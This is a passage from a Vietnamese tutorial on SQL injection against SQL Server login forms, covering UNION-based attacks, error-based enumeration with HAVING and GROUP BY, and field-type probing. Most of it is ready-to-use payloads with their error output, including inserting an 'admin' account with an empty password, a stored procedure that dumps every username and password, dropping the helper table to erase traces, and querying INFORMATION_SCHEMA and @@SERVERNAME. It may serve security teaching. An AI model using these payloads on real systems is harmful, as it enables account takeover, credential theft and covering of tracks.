2 Kĩ thuật tấn công SQL Injection
2.4. Tấn công dựa vào câu lệnh kết hợp UNION
Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằng cách chèn thêm UNION SELECT.
Ví dụ 6:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’UNION SELECT tkPassword from User”
Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với tkPassword trong bảng User.
• Số cột trong hai câu SELECT phảikhớp với nhau. Nghĩa là số lượng cột trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng
nhau và cùng kiểu. Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết kiểu của mỗi trường. Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa vào HAVING, GROUP BY, UNION:
Ví dụ 7: Nhắc lại câu truy vấn cần để đăng nhập: SQLQuery= “SELECT tkUsername,tkPassword FROM User
WHER tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword& “’” Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu
điều kiện “having” , như ví dụ sau: Giá trị nhập vào: Username:’having 1=1--
Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server]Column
'User.tkUsername'is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY
clause.
Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User và trong bảng tồn tại mộttrường tên là tkUsername.
Sau đósử dụng GROUP BY: Ví dụ 8
Username: ‘group by User.tkUsername having 1=1-- Lỗi phát sinh:
[Microsoft][ODBC SQL Server Driver][SQL Server] Column 'User.tkPassword' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY
Như vậy tkPassword là mộttrường của bảng User và được sử dụng trong câu truy vấn. Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng User tham gia vào câu truy vấn.
Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng:
Ví dụ 9:
Username:’union select sum(tkUsername) from User
Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi như sau:
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operationcannot take a varchar data typeas an argument.
Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu “varchar”. Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào
bảng User. Ví dụ 10
Username:’ ; insert into User(tkUsername,tkPassword) values (‘admin’, ‘’)--
Hacker thêm nội dung như Ví dụ 6.III.4.2.4 bây giờ trở thành người quản trị mạng mà không cầnmật khẩu để chứng thực.
Ví dụ 11: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong bảng User: • Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng mới là foo có một trường là ret bằng đoạn mã sau:
create proc test as
begin
declare @ret varchar(8000) set @ret=':'
select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo
end
Thực thi câu lệnh bằng cách nhập vào form.
Username:’; Create proc test as begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+'
'+tkUsername+'/'+tkPassword from User select @ret as ret into foo
• Bước 2: Gọi Stored procedure đó
Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm: Username: ’;exec test
• Bước 3: Dùng UNION để xem nội dung bảng foo Username:’; select ret,1 from foo union select 1,1 from foo Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ':
admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu' To a column of data type int.
Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên: tkUsername và mật khẩu tkPassword.
• Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết: Username:‘; drop table foo--
Ví dụ 12: Còn đây là một cách khác để xác định nội dung của bảng User, còn một phương pháp tìm kiếm thông tin như sau:
• Bước 1: Tìm tuần tự từng dòng trên bảng User Username:’union select 1,1
hoặc :
Username: ’union select min(tkUsername),1 from User where tkUsername> ’a’--
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' admin ' to a column of data type int. Người đầu tiên trong bảng User là “admin”.
• Bước 2: Để biết các giá trị tiếp theo, nhập chuỗi sau: Username:’;select min(tkUsername),1 from User where tkUsername> ’admin’union select 1,1 from User
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
Error Converting the varchar value 'nhimmap' to a column of data type int.
• Bước 3: Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername trong bảng User.
• Bước 4:Để biết thêm về tkPasswork, có thể thực hiện như sau: Username: ’;select tkPassword,1 from User where tkUsername=’admin’
union select 1,1 from User Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
Converting the varchar value ' passOfAdmin ' to a column of data type int.
Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến bảng hệ thống INFORMATION_SCHEMA.TABLES.
Ví dụ 13:
select TABLE_NAME from INFORMATION_SCHEMA.TABLES
INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ liệu.
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='User'
Câu lệnh trên đượcsử dụng để biết thông tin về cột trong bảng. Ngoài ra còn có thể dùng UNION để biếtcác biến môi trường của SQL Server.
Ví dụ 14: Để biết ứng dụng đang chạy trên Server nào, có thể xác định bằng cách sau:
Username: ’;select @@SERVERNAME union select 1 Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' KHOAI_NGU ' to a column of data type int.